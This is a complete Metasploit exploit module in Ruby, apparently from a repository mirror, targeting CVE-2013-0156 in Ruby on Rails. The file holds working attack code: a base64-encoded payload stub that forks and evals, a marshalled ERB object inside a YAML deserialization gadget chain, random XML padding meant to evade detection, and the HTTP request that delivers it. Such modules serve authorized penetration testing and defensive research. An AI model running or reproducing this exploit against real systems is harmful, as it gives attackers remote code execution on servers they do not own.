Files
metasploit-gs/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb
T
2013-01-09 23:24:37 -06:00

174 lines
4.6 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails XML Processor YAML Deserialization Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in the XML request
processor of the Ruby on Rails application framework. This vulnerability allows
an attacker to instantiate a remote object, which in turn can be used to execute
any ruby code remotely in the context of the application.
},
'Author' =>
[
'charlisome', # PoC
'espes', # PoC and Metasploit module
'toothfairy', # Anonymous contributor
'hdm' # Module merge/conversion/payload work
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-0156'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156']
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DisclosureDate' => 'Jan 7 2013',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])
], self.class)
register_evasion_options(
[
OptBool.new('XML::PadElement', [ true, 'Pad the exploit request with randomly generated XML elements', true])
], self.class)
end
#
# This stub ensures that the payload runs outside of the Rails process
# Otherwise, the session can be killed on timeout
#
def detached_payload_stub(code)
%Q^
code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
if RUBY_PLATFORM =~ /mswin|mingw|win32/
inp = IO.popen("ruby", "wb") rescue nil
if inp
inp.write(code)
inp.close
end
else
if ! Process.fork()
eval(code)
end
end
^.strip.split(/\n/).map{|line| line.strip}.join("\n")
end
#
# Create the YAML document that will be embedded into the XML
#
def build_yaml
# Embed the payload with the detached stub
code =
"eval('" +
Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) +
"'.unpack('m0').first)"
# Create a base64-encoded marshalled object
inner_payload = Rex::Text.encode_base64(
"\x04\x08" +
"o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" +
":\x0E@instance" +
"o"+":\x08ERB"+"\x06" +
":\x09@src" +
Marshal.dump(code)[2..-1] +
":\x0C@method"+":\x0Bresult"
)
# Pack this into a YAML (the leading whitespace below is important)
payload = <<-PAYLOAD.strip.gsub("\n", "&#10;")
--- !ruby/object:Gem::Requirement
requirements:
- !ruby/object:Rack::Session::Abstract::SessionHash
env:
HTTP_COOKIE: a=#{inner_payload}
by: !ruby/object:Rack::Session::Cookie
coder: !ruby/object:Rack::Session::Cookie::Base64::Marshal {}
key: a
secrets: []
exists: true
PAYLOAD
end
#
# Create the XML wrapper with any desired evasion
#
def build_request
xml = ''
elo = Rex::Text.rand_text_alpha(rand(12)+4)
if datastore['XML::PadElement']
xml << "<#{elo}>"
1.upto(rand(1000)+50) do
el = Rex::Text.rand_text_alpha(rand(12)+4)
tp = ['string', 'integer'][ rand(2) ]
xml << "<#{el} type='#{tp}'>"
xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
xml << "</#{el}>"
end
end
el = Rex::Text.rand_text_alpha(rand(12)+4)
xml << "<#{el} type='yaml'>"
xml << build_yaml
xml << "</#{el}>"
if datastore['XML::PadElement']
1.upto(rand(1000)+50) do
el = Rex::Text.rand_text_alpha(rand(12)+4)
tp = ['string', 'integer'][ rand(2) ]
xml << "<#{el} type='#{tp}'>"
xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
xml << "</#{el}>"
end
xml << "</#{elo}>"
end
xml
end
#
# Send the actual request
#
def exploit
data = build_request
res = send_request_cgi({
'uri' => datastore['URIPATH'] || "/",
'method' => datastore['HTTP_METHOD'],
'ctype' => 'application/xml',
'data' => data,
}, 25)
handler
end
end